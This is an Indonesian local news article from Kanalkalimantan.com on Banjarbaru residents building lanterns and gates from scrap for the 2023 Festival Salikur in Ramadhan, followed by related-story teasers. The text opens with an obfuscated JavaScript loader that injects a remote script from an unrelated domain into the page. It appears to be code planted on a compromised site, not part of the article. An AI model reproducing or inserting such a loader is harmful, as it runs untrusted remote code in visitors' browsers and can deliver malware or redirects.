(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Antusias masyarakat ramaikan Festival Salikur Banjarbaru 2023 begitu terasa sambut hajatan tahunan khusus bulan Ramadhan ini.
Seperti yang dilakukan warga Gang Saeman Jalan Gotong Royong RT 16 RW 04, Kelurahan Syamsudin Noor, Kecamatan Landasan Ulin, Kota Banjarbaru, sudah mulai mempersiapkan beragam konsep jauh hari sebelum memasuki bulan Ramadhan.
Berbagai lampu hias beragam bentuk dipasang oleh warga RT 16 RW 04, uniknya semua yang terpasang memanfaatkan barang bekas yang ada di sekitar.
Ketua RT 16, Ery Purwanto mengatakan, persiapan untuk mengikuti Festival Salikur Banjarbaru sudah dipersiapkan jauh-jauh hari sebelum bulan puasa, dengan tahapan rapat bersama warga. Di malam ke-3 Ramadhan gapura harus berdiri dan di malam ke 11 Ramadhan lampion sudah terpasang.
Baca juga:Â Organda Banjarbaru Buka Puasa Bersama, Komitmen Layanan Transportasi di Ibu Kota Provinsi
“Memang sudah menjadi agenda tahunan bagi warga kami, terutama di Gang Saeman mengikuti kegiatan salikuran ini,” ujarnya, Sabtu (8/4/2023) siang, dijumpai Kanalkalimantan.com.
Disebutkan Ery, kegiatan ini juga untuk mengisi waktu puasa dengan berkreasi membuat kerajinan barang bekas, seperti pembuatan gapura, lampion dan tanglong.
“Lampionnya semua dibuat dari barang bekas,” akunya.
Untuk di sepanjang gang, kata Ery, konsep Festival Ramadhan yakni memanfaatkan barang-barang bekas yang dijadikan kerajinan semaksimal mungkin guna memeriahkan Ramadhan tahun ini.
Diungkapkan Ery, sebelumnya pihaknya berencana tidak mengikuti Festival Salikur ini, namun dengan beberapa motivasi warga bersedia ikut dan memeriahkannya.
Baca juga:Â PUPR Kalsel Perbaiki Jalan di Balangan, Segini Dana yang Dianggarkan
“Ini untuk mengisi di sela-sela kegiatan puasa kita,” ungkapnya.
Pada Festival Salikur Banjarbaru lalu, warganya mendapat juara favorit. Untuk tahun ini dikatakan Ery pihaknya tidak mematok juara melainkan kebersamaan bersama warganya yang didapat saat membuat kerajinan untuk Festival Salikur ini.
“Target khusus gak ada, yang penting kegiatan ini kita dukung dan guna lebih guyub bersama warga,” tuntasnya.
Saat ditemui sejumlah warga RT 16 masih mengerjakan beberapa ornamen persiapan Festival Salikur Banjarbaru, ada beberapa yang membuat bulan sabit, ada juga yang membuat kerangka bedug dari bambu.
Semuanya jelas hasil tangan para bapak-bapak di Gang Saeman tersebut, beberapa kerajinan tersebut terlihat dari kaleng bekas, selang bekas, ember cat, galon bekas, botol bekas dan bambu.(Kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.